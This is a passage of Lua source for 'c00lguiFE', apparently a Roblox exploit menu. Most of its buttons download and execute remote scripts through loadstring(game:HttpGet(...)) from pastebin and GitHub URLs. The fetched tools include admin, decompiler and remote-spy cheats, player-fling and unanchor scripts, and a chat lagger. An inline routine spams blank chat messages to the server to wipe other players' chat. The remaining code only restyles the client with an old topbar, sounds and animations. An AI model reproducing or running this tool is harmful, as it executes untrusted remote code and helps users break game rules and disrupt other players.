PageLabel_3.Parent = Page3 PageLabel_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0) PageLabel_3.BorderColor3 = Color3.fromRGB(255, 0, 0) PageLabel_3.BorderSizePixel = 3 PageLabel_3.Position = UDim2.new(0, 0, 0.102040827, -30) PageLabel_3.Size = UDim2.new(1, 0, 0, 30) PageLabel_3.ZIndex = 2 PageLabel_3.Font = Enum.Font.SourceSans PageLabel_3.Text = "Credits" PageLabel_3.TextColor3 = Color3.fromRGB(255, 255, 255) PageLabel_3.TextSize = 18.000 PageLabel_3.TextWrapped = true CloseOpen.Name = "Close/Open" CloseOpen.Parent = c00lguiFE CloseOpen.BackgroundColor3 = Color3.fromRGB(0, 0, 0) CloseOpen.BorderColor3 = Color3.fromRGB(255, 0, 0) CloseOpen.BorderSizePixel = 3 CloseOpen.Position = UDim2.new(0, 3, 0.300000012, 380) CloseOpen.Size = UDim2.new(0, 300, 0, 20) CloseOpen.ZIndex = 3 CloseOpen.Font = Enum.Font.SourceSans CloseOpen.Text = "Close" CloseOpen.TextColor3 = Color3.fromRGB(255, 255, 255) CloseOpen.TextSize = 18.000 -- Scripts: local function LHCAB_fake_script() -- back.LocalScript local script = Instance.new('LocalScript', back) script.Parent.MouseButton1Click:Connect(function() if script.Parent.Parent.Page1.Visible == true then script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page3.Visible = true elseif script.Parent.Parent.Page2.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = true script.Parent.Parent.Page3.Visible = false elseif script.Parent.Parent.Page3.Visible == true then script.Parent.Parent.Page2.Visible = true script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = false end end) end coroutine.wrap(LHCAB_fake_script)() local function ZJGJRKT_fake_script() -- next.LocalScript local script = Instance.new('LocalScript', next) script.Parent.MouseButton1Click:Connect(function() if script.Parent.Parent.Page1.Visible == true then script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page2.Visible = true script.Parent.Parent.Page3.Visible = false elseif script.Parent.Parent.Page2.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = false script.Parent.Parent.Page3.Visible = true elseif script.Parent.Parent.Page3.Visible == true then script.Parent.Parent.Page2.Visible = false script.Parent.Parent.Page1.Visible = true script.Parent.Parent.Page3.Visible = false end end) end coroutine.wrap(ZJGJRKT_fake_script)() local function JFVW_fake_script() -- Airhub.LocalScript local script = Instance.new('LocalScript', Airhub) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/Exunys/AirHub-V2/main/src/Main.lua"))() end) end coroutine.wrap(JFVW_fake_script)() local function HVYOQG_fake_script() -- topkekremake.LocalScript local script = Instance.new('LocalScript', topkekremake) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet('https://pastebin.com/raw/h1TN1kij'))() end) end coroutine.wrap(HVYOQG_fake_script)() local function VHXIX_fake_script() -- Opfinality.LocalScript local script = Instance.new('LocalScript', Opfinality) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet('https://pastebin.com/raw/cdWKjwj8'))() end) end coroutine.wrap(VHXIX_fake_script)() local function SAFMH_fake_script() -- ScriptSpy.LocalScript local script = Instance.new('LocalScript', ScriptSpy) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet('https://pastebin.com/raw/yBLDEdDn'))() end) end coroutine.wrap(SAFMH_fake_script)() local function QRNKBC_fake_script() -- Dex.LocalScript local script = Instance.new('LocalScript', Dex) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/memeenjoyer43/darkdex/refs/heads/main/script"))() end) end coroutine.wrap(QRNKBC_fake_script)() local function EFCKKKW_fake_script() -- Hydroxide.LocalScript local script = Instance.new('LocalScript', Hydroxide) script.Parent.MouseButton1Click:Connect(function() local owner = "Upbolt" local branch = "revision" local function webImport(file) return loadstring(game:HttpGetAsync(("https://raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua"):format(owner, branch, file)), file .. '.lua')() end webImport("init") webImport("ui/main") end) end coroutine.wrap(EFCKKKW_fake_script)() local function KYWXLCF_fake_script() -- audiologger.LocalScript local script = Instance.new('LocalScript', audiologger) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet('https://pastebin.com/raw/4z9GWRY6'))() end) end coroutine.wrap(KYWXLCF_fake_script)() local function EARJXPZ_fake_script() -- InfiniteYieldFE.LocalScript local script = Instance.new('LocalScript', InfiniteYieldFE) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))() end) end coroutine.wrap(EARJXPZ_fake_script)() local function SDPG_fake_script() -- Namelees.LocalScript local script = Instance.new('LocalScript', Namelees) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/ltseverydayyou/Nameless-Admin/main/NA%20testing.lua"))() end) end coroutine.wrap(SDPG_fake_script)() local function XEVW_fake_script() -- Quirky.LocalScript local script = Instance.new('LocalScript', Quirky) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://gist.github.com/someunknowndude/38cecea5be9d75cb743eac8b1eaf6758/raw"))() end) end coroutine.wrap(XEVW_fake_script)() local function JEVIS_fake_script() -- headfling.LocalScript local script = Instance.new('LocalScript', headfling) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/BK4Q0DfU"))(); end) end coroutine.wrap(JEVIS_fake_script)() local function HGDG_fake_script() -- UnanchPlr.LocalScript local script = Instance.new('LocalScript', UnanchPlr) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/y2yFfXw3", true))(); end) end coroutine.wrap(HGDG_fake_script)() local function IHKWBG_fake_script() -- Ccanon.LocalScript local script = Instance.new('LocalScript', Ccanon) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/4hqcYBFb"))(); end) end coroutine.wrap(IHKWBG_fake_script)() local function FLVKOT_fake_script() -- humanoidel.LocalScript local script = Instance.new('LocalScript', humanoidel) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/MiRw3b/c00lrobloxscripts/main/humanoiddeleter.lua"))(); end) end coroutine.wrap(FLVKOT_fake_script)() local function TLXVNST_fake_script() -- salute.LocalScript local script = Instance.new('LocalScript', salute) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/L1UP30nc"))(); end) end coroutine.wrap(TLXVNST_fake_script)() local function UDMLS_fake_script() -- lagchat.LocalScript local script = Instance.new('LocalScript', lagchat) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/AnthonyIsntHere/anthonysrepository/main/scripts/ChatLag.lua"))() end) end coroutine.wrap(UDMLS_fake_script)() local function YJSF_fake_script() -- breakchat.LocalScript local script = Instance.new('LocalScript', breakchat) script.Parent.MouseButton1Click:Connect(function() local hint = Instance.new("Hint", workspace) local count = 60 repeat hint.Text = "Estimated time remaining until chat is deleted: "..math.floor(count*2.5).." seconds" wait(2.5) count = count - 1 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(" ", "All") until count == 0 hint.Text = "The chat should be gone." wait(3) hint:Destroy() end) end coroutine.wrap(YJSF_fake_script)() local function DQVB_fake_script() -- commitoof.LocalScript local script = Instance.new('LocalScript', commitoof) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/r7pVFVA7"))(); end) end coroutine.wrap(DQVB_fake_script)() local function RYJD_fake_script() -- backflip.LocalScript local script = Instance.new('LocalScript', backflip) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/DPQzQ6Gi"))(); end) end coroutine.wrap(RYJD_fake_script)() local function OKEZBY_fake_script() -- walkonwall.LocalScript local script = Instance.new('LocalScript', walkonwall) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/H4c2LpFF"))(); end) end coroutine.wrap(OKEZBY_fake_script)() local function FEHH_fake_script() -- blackhole.LocalScript local script = Instance.new('LocalScript', blackhole) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/Ug5aA1QL"))(); end) end coroutine.wrap(FEHH_fake_script)() local function AAOME_fake_script() -- ClickTP.LocalScript local script = Instance.new('LocalScript', ClickTP) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/mJEDExRM"))(); end) end coroutine.wrap(AAOME_fake_script)() local function UVDLNK_fake_script() -- autism.LocalScript local script = Instance.new('LocalScript', autism) script.Parent.MouseButton1Click:Connect(function() loadstring(game:GetObjects("rbxassetid://1427263101")[1].Source)(); end) end coroutine.wrap(UVDLNK_fake_script)() local function ZRSLPXN_fake_script() -- singtheme.LocalScript local script = Instance.new('LocalScript', singtheme) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/zSiUX0mM"))(); end) end coroutine.wrap(ZRSLPXN_fake_script)() local function CLRIP_fake_script() -- oldtopbar.LocalScript local script = Instance.new('LocalScript', oldtopbar) script.Parent.MouseButton1Click:Connect(function() if not game:IsLoaded() then game.Loaded:Wait() end wait(0.1) --// variables/modules local CoreGui = game:GetService("CoreGui") local RobloxGui = CoreGui:FindFirstChild("RobloxGui") local UserInputService = game:GetService("UserInputService") local TopBar = game:GetService("CoreGui"):WaitForChild("TopBarApp"):WaitForChild("TopBarFrame") local ChatIcon = TopBar:WaitForChild("LeftFrame"):WaitForChild("ChatIcon"):WaitForChild("Background"):WaitForChild("Icon") local UIS = game:GetService("UserInputService") local function devprint(text) if config.dev then print(text) end end --// custom assets local getasset = getsynasset or getcustomasset makefolder("2016_storage") writefile("2016_storage/bc.png", game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/images/icon_BC-16.png")) writefile("2016_storage/tbc.png", game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/images/icon_TBC-16.png")) writefile("2016_storage/obc.png", game:HttpGet("https://raw.githubusercontent.com/specowos/lua-projects/main/project%202016%3A%20Remastered/images/icon_OBC-16.png")) local bc_storage = { getasset("2016_storage/bc.png"), getasset("2016_storage/obc.png"), getasset("2016_storage/tbc.png") } --// STYLE: TopBar.Transparency = 0.5 TopBar.BorderSizePixel = 0 TopBar.BackgroundColor3 = Color3.fromRGB(31, 31, 31) TopBar.LeftFrame.ChatIcon.Background.StateOverlay.Image = "" TopBar.LeftFrame.MenuIcon.Background.StateOverlay.Image = "" TopBar.LeftFrame.MenuIcon.Background.Image = "" TopBar.LeftFrame.ChatIcon.Background.Image = "" TopBar.LeftFrame.Position = UDim2.new(0, 0, 0, 2) TopBar.LeftFrame.Size = UDim2.new(0, 0, 0, 36) TopBar.LeftFrame.MenuIcon.Position = UDim2.new(0, 0, 0, 0) TopBar.LeftFrame.MenuIcon.Size = UDim2.new(0, 50, 0, 36) TopBar.LeftFrame.MenuIcon.Background.Icon.Position = UDim2.new(0, 25, 0, 12) TopBar.LeftFrame.MenuIcon.Background.Icon.Size = UDim2.new(0, 32, 0, 25) game.CoreGui:WaitForChild("ThemeProvider").LegacyCloseMenu.CloseMenuButton.Position = UDim2.new(0, -8, 0, 18) game.CoreGui:WaitForChild("ThemeProvider").LegacyCloseMenu.CloseMenuButton.Size = UDim2.new(0, 32, 0, 25) TopBar.LeftFrame.ChatIcon.Position = UDim2.new(0, 0, 0, 0) TopBar.LeftFrame.ChatIcon.Size = UDim2.new(0, 50, 0, 36) TopBar.LeftFrame.ChatIcon.Background.Icon.Position = UDim2.new(0, 14, 0, 13) TopBar.LeftFrame.ChatIcon.Background.Icon.Size = UDim2.new(0, 28, 0, 27) TopBar.LeftFrame.MenuIcon.Background.Icon.Image = "rbxasset://textures/ui/Menu/Hamburger.png" --// cursor local mouse = game:GetService("Players").LocalPlayer:GetMouse() mouse.Icon = 'rbxasset://textures/ArrowFarCursor.png' --// chat scripts game:GetService("RunService").Heartbeat:Connect(function() if game.Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.Frame.ChatBar:IsFocused() then game.Players.LocalPlayer.PlayerGui.Chat.Frame.ChatBarParentFrame.Frame.BoxFrame.BackgroundTransparency = 0.1 end end) local function changechatico() if ChatIcon.Image == "rbxasset://textures/ui/TopBar/chatOff.png" then ChatIcon.Image = "rbxasset://textures/ui/Chat/Chat@2x.png" elseif ChatIcon.Image == "rbxasset://textures/ui/TopBar/chatOn.png" then ChatIcon.Image = "rbxasset://textures/ui/Chat/ChatDown@2x.png" end end for _,v in pairs(game:GetDescendants()) do if v:IsA("TextLabel") and v.Text == "Chat '/?' or '/help' for a list of chat commands." then v.Text = "Please chat '/?' for a list of commands" end end changechatico() spawn(function() game:GetService("Players").PlayerChatted:Connect(function(PlayerChatType, sender, message, recipient) changechatico() end) end) spawn(function() game:GetService("RunService").Heartbeat:Connect(function() changechatico() end) end) game.RunService.Heartbeat:Connect(function() TopBar.LeftFrame.MenuIcon.Background.StateOverlay.Image = "" game.CoreGui:WaitForChild("TopBarApp").LegacyCloseMenu.CloseMenuButton.Image = "rbxasset://textures/ui/Menu/HamburgerDown.png" game.CoreGui:WaitForChild("TopBarApp").LegacyCloseMenu.CloseMenuButton.ImageRectOffset = Vector2.new(0, 0) game.CoreGui:WaitForChild("TopBarApp").LegacyCloseMenu.CloseMenuButton.ImageRectSize = Vector2.new(0, 0) if TopBar.LeftFrame.ChatIcon:FindFirstChild("BadgeContainer") then if TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge") then TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.Image = "rbxasset://textures/ui/Chat/MessageCounter.png" TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.ImageRectOffset = Vector2.new(0, 0) TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.ImageRectSize = Vector2.new(0, 0) TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner:ClearAllChildren() TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Position = UDim2.new(0, 15, 0, 2) TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Inner.ScaleType = Enum.ScaleType.Fit if TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge"):FindFirstChild("Background") then TopBar.LeftFrame.ChatIcon.BadgeContainer:FindFirstChild("Badge").Background:Destroy() end end end end) end) end coroutine.wrap(CLRIP_fake_script)() local function GQEFNE_fake_script() -- oldcharsounds.LocalScript local script = Instance.new('LocalScript', oldcharsounds) script.Parent.MouseButton1Click:Connect(function() if not game:IsLoaded() then game.Loaded:Wait() end wait(1) local Players = game:GetService("Players") local RunService = game:GetService("RunService") repeat wait() until game.Players.LocalPlayer.Character local SOUND_DATA = { Climbing = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, }, Died = { SoundId = "rbxasset://sounds/uuhhh.mp3", }, FreeFalling = { SoundId = "rbxasset://sounds/swoosh.wav", Looped = true, }, GettingUp = { SoundId = "rbxasset://sounds/hit.wav", }, Jumping = { SoundId = "rbxasset://sounds/button.wav", }, Landing = { SoundId = "rbxasset://sounds/action_jump_land.mp3", }, Splash = { SoundId = "rbxasset://sounds/impact_water.mp3", }, Swimming = { SoundId = "rbxasset://sounds/action_swim.mp3", Looped = true, Pitch = 1.6, }, } -- wait for the first of the passed signals to fire local function waitForFirst(...) local shunt = Instance.new("BindableEvent") local slots = {...} local function fire(...) for i = 1, #slots do slots[i]:Disconnect() end return shunt:Fire(...) end for i = 1, #slots do slots[i] = slots[i]:Connect(fire) end return shunt.Event:Wait() end -- map a value from one range to another local function map(x, inMin, inMax, outMin, outMax) return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin end local function playSound(sound) sound.TimePosition = 0 sound.Playing = true end local function shallowCopy(t) local out = {} for k, v in pairs(t) do out[k] = v end return out end local function initializeSoundSystem(player, humanoid, rootPart) local sounds = {} -- initialize sounds for name, props in pairs(SOUND_DATA) do local sound = Instance.new("Sound") sound.Name = name -- set default values sound.Archivable = false sound.EmitterSize = 5 sound.MaxDistance = 150 sound.Volume = 0.65 for propName, propValue in pairs(props) do sound[propName] = propValue end sound.Parent = rootPart sounds[name] = sound end local playingLoopedSounds = {} local function stopPlayingLoopedSounds(except) for sound in pairs(shallowCopy(playingLoopedSounds)) do if sound ~= except then sound.Playing = false playingLoopedSounds[sound] = nil end end end -- state transition callbacks local stateTransitions = { [Enum.HumanoidStateType.FallingDown] = function() stopPlayingLoopedSounds() end, [Enum.HumanoidStateType.GettingUp] = function() stopPlayingLoopedSounds() playSound(sounds.GettingUp) end, [Enum.HumanoidStateType.Jumping] = function() stopPlayingLoopedSounds() playSound(sounds.Jumping) end, [Enum.HumanoidStateType.Swimming] = function() local verticalSpeed = math.abs(rootPart.Velocity.Y) if verticalSpeed > 0.1 then sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1) playSound(sounds.Splash) end stopPlayingLoopedSounds(sounds.Swimming) sounds.Swimming.Playing = true playingLoopedSounds[sounds.Swimming] = true end, [Enum.HumanoidStateType.Freefall] = function() sounds.FreeFalling.Volume = 0 stopPlayingLoopedSounds(sounds.FreeFalling) playingLoopedSounds[sounds.FreeFalling] = true end, [Enum.HumanoidStateType.Landed] = function() stopPlayingLoopedSounds() local verticalSpeed = math.abs(rootPart.Velocity.Y) if verticalSpeed > 75 then sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1) playSound(sounds.Landing) end end, [Enum.HumanoidStateType.Climbing] = function() local sound = sounds.Climbing if math.abs(rootPart.Velocity.Y) > 0.1 then sound.Playing = true stopPlayingLoopedSounds(sound) else stopPlayingLoopedSounds() end playingLoopedSounds[sound] = true end, [Enum.HumanoidStateType.Seated] = function() stopPlayingLoopedSounds() end, [Enum.HumanoidStateType.Dead] = function() stopPlayingLoopedSounds() playSound(sounds.Died) end, } -- updaters for looped sounds local loopedSoundUpdaters = { [sounds.Climbing] = function(dt, sound, vel) sound.Playing = vel.Magnitude > 0.1 end, [sounds.FreeFalling] = function(dt, sound, vel) if vel.Magnitude > 75 then sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1) else sound.Volume = 0 end end, } -- state substitutions to avoid duplicating entries in the state table local stateRemap = { [Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running, } local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState() local stateChangedConn = humanoid.StateChanged:Connect(function(_, state) state = stateRemap[state] or state if state ~= activeState then local transitionFunc = stateTransitions[state] if transitionFunc then transitionFunc() end activeState = state end end) local steppedConn = RunService.Stepped:Connect(function(_, worldDt) -- update looped sounds on stepped for sound in pairs(playingLoopedSounds) do local updater = loopedSoundUpdaters[sound] if updater then updater(worldDt, sound, rootPart.Velocity) end end end) local humanoidAncestryChangedConn local rootPartAncestryChangedConn local characterAddedConn local function terminate() stateChangedConn:Disconnect() steppedConn:Disconnect() humanoidAncestryChangedConn:Disconnect() rootPartAncestryChangedConn:Disconnect() characterAddedConn:Disconnect() end humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent) if not parent then terminate() end end) rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent) if not parent then terminate() end end) characterAddedConn = player.CharacterAdded:Connect(terminate) end local function playerAdded(player) local function characterAdded(character) -- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications: -- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically. -- ** must use a waitForFirst on everything and listen for hierarchy changes. -- * the character might not be in the dm by the time CharacterAdded fires -- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again -- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented. -- * RootPart probably won't exist immediately. -- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented. if not character.Parent then waitForFirst(character.AncestryChanged, player.CharacterAdded) end if player.Character ~= character or not character.Parent then return end local humanoid = character:FindFirstChildOfClass("Humanoid") while character:IsDescendantOf(game) and not humanoid do waitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded) humanoid = character:FindFirstChildOfClass("Humanoid") end if player.Character ~= character or not character:IsDescendantOf(game) then return end -- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals local rootPart = character:FindFirstChild("HumanoidRootPart") while character:IsDescendantOf(game) and not rootPart do waitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded) rootPart = character:FindFirstChild("HumanoidRootPart") end if rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then initializeSoundSystem(player, humanoid, rootPart) end end if player.Character then characterAdded(player.Character) end player.CharacterAdded:Connect(characterAdded) end Players.PlayerAdded:Connect(playerAdded) for _, player in ipairs(Players:GetPlayers()) do playerAdded(player) end end) end coroutine.wrap(GQEFNE_fake_script)() local function EJAJAVZ_fake_script() -- oldanim.LocalScript local script = Instance.new('LocalScript', oldanim) script.Parent.MouseButton1Click:Connect(function() if game.PlaceId == 445664957 then return; end local player = game:GetService("Players").LocalPlayer repeat wait() until game.Players.LocalPlayer.Character Char = game.Players.LocalPlayer.Character or player.CharacterAdded:Wait() if Char.Humanoid.RigType == Enum.HumanoidRigType.R6 == true then game.Players.LocalPlayer.Character:BreakJoints() game.Players.LocalPlayer.Character=nil Connection = game.Workspace.DescendantAdded:Connect(function(c) if c.Name == "Animate" then c.Disabled=true end end) function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Humanoid") ~= nil Died = game.Players.LocalPlayer.Character:waitForChild("Humanoid").Died:Connect(function() Connection:Disconnect() Died:Disconnect() end) wait(.1) -- ANIMATION -- declarations local Figure = game.Players.LocalPlayer.Character local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local toolAnim = "None" local toolAnimTime = 0 local jumpMaxLimbVelocity = 0.75 -- functions function onRunning(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function moveJump() RightShoulder.MaxVelocity = jumpMaxLimbVelocity LeftShoulder.MaxVelocity = jumpMaxLimbVelocity RightShoulder:SetDesiredAngle(3.14) LeftShoulder:SetDesiredAngle(-3.14) RightHip:SetDesiredAngle(0) LeftHip:SetDesiredAngle(0) end -- same as jump for now function moveFreeFall() RightShoulder.MaxVelocity = jumpMaxLimbVelocity LeftShoulder.MaxVelocity = jumpMaxLimbVelocity RightShoulder:SetDesiredAngle(3.14) LeftShoulder:SetDesiredAngle(-3.14) RightHip:SetDesiredAngle(0) LeftHip:SetDesiredAngle(0) end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder:SetDesiredAngle(1.57) return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder:SetDesiredAngle(0) return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder:SetDesiredAngle(1.57) LeftShoulder:SetDesiredAngle(1.0) RightHip:SetDesiredAngle(1.57) LeftHip:SetDesiredAngle(1.0) return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Seated") then moveSit() return end local climbFudge = 0 if (pose == "Running") then if (RightShoulder.CurrentAngle > 1.5 or RightShoulder.CurrentAngle < -1.5) then RightShoulder.MaxVelocity = jumpMaxLimbVelocity else RightShoulder.MaxVelocity = 0.15 end if (LeftShoulder.CurrentAngle > 1.5 or LeftShoulder.CurrentAngle < -1.5) then LeftShoulder.MaxVelocity = jumpMaxLimbVelocity else LeftShoulder.MaxVelocity = 0.15 end amplitude = 1 frequency = 9 elseif (pose == "Climbing") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 amplitude = 1 frequency = 9 climbFudge = 3.14 else amplitude = 0.1 frequency = 1 end desiredAngle = amplitude * math.sin(time*frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end -- connect events Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) Humanoid.Swimming:connect(onSwimming) -- main program local runService = game:service("RunService"); while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end end end) end coroutine.wrap(EJAJAVZ_fake_script)() local function PLEGWK_fake_script() -- oldplrlist.LocalScript local script = Instance.new('LocalScript', oldplrlist) script.Parent.MouseButton1Click:Connect(function() if not game:IsLoaded() then game.Loaded:Wait() end wait(8) if game.CoreGui:FindFirstChild("ScreenGui") then game.CoreGui.ScreenGui:Destroy() end game:GetService("StarterGui"):SetCoreGuiEnabled("PlayerList", false) -- Ctrl+F "API DOCS" to get the docs local uieiie = Instance.new("ScreenGui",game.CoreGui) --settings. Don't make these local. ALLOW_BC_ICONS = true -- Players' BC icons will be shown next to their names PRIMARY_LEADERSTATS_ENABLED = true -- Leaderstats will appear in large text under the player's name SHOW_PRIMARY_LEADERSTAT_NAMES = true -- Primary leaderstats will have their names shown next to them TEAMS_ENABLED = true -- Teams will appear. local c00lkidd5 = "14anz_exiled","riptoasterXD","007n7alt1","anzkidd","jeezsynapseihx","lordmuhamad" ADMINS = { -- add your name = 1 to get a star icon. Add your name = image to get a custom icon. evolving888 = "http://www.roblox.com/asset?id=148012526", creepy333 = "http://www.roblox.com/asset?id=148012526", enter777 = "http://www.roblox.com/asset?id=148012526", c00lkidd5 = "https://www.roblox.com/asset?id=9262784513", KanekiiiiianYT = "https://www.roblox.com/asset?id=1061142935", } ALIASES = { creepy333 = "Creepy", Minish1111 = "Minish", } -- API DOCS -- _G.PlayerListAPI:SetAllowBCIcons(true or false) -- :AddAdmin(String name, Optional Content customIcon, Optional Int customIconWidth) -- :RemoveAdmin(String name) -- :SetAlias(String name, String alias) -- :SetPlayerIsHidden(String name) -- :SetLabelColors(String playerName, Color3 backgroundColor, Color3 textColor) -- _G.ChatAPI:SendChat(String playername, String message, Color3 customcolor) for name,a in pairs(ADMINS) do ADMINS[name:lower()] = a end for name,a in pairs(CUSTOM_CHAT_COLORS) do CUSTOM_CHAT_COLORS[name:lower()] = a end for name,a in pairs(ALIASES) do ALIASES[name:lower()] = a end for name,a in pairs(HIDDEN_PLAYERS) do HIDDEN_PLAYERS[name:lower()] = a end for name,a in pairs(CUSTOM_LABEL_BACKGROUND_COLORS) do CUSTOM_LABEL_BACKGROUND_COLORS[name:lower()] = a end for name,a in pairs(CUSTOM_LABEL_NAME_COLORS) do CUSTOM_LABEL_NAME_COLORS[name:lower()] = a end function GetAliasOf(name) return ALIASES[name:lower()] or name end local export = {} export.SetAllowBCIcons = function(self, b) ALLOW_BC_ICONS = b end export.AddAdmin = function(self, name, customicon, customiconwidth) ADMINS[name:lower()] = customicon or 1 ADMIN_ICON_WIDTHS[name:lower()] = customiconwidth or 16 end export.RemoveAdmin = function(self, name) ADMINS[name:lower()] = 0 end export.GetChatData = function(self) return ADMINS, CUSTOM_CHAT_COLORS, ALIASES end export.SetAlias = function(self, name, alias) if alias == "" or alias == nil then ALIASES[name:lower()] = name else ALIASES[name:lower()] = alias end end export.GetAlias = function(self, name) return GetAliasOf(name) end export.SetLabelColors = function(self, playerName, 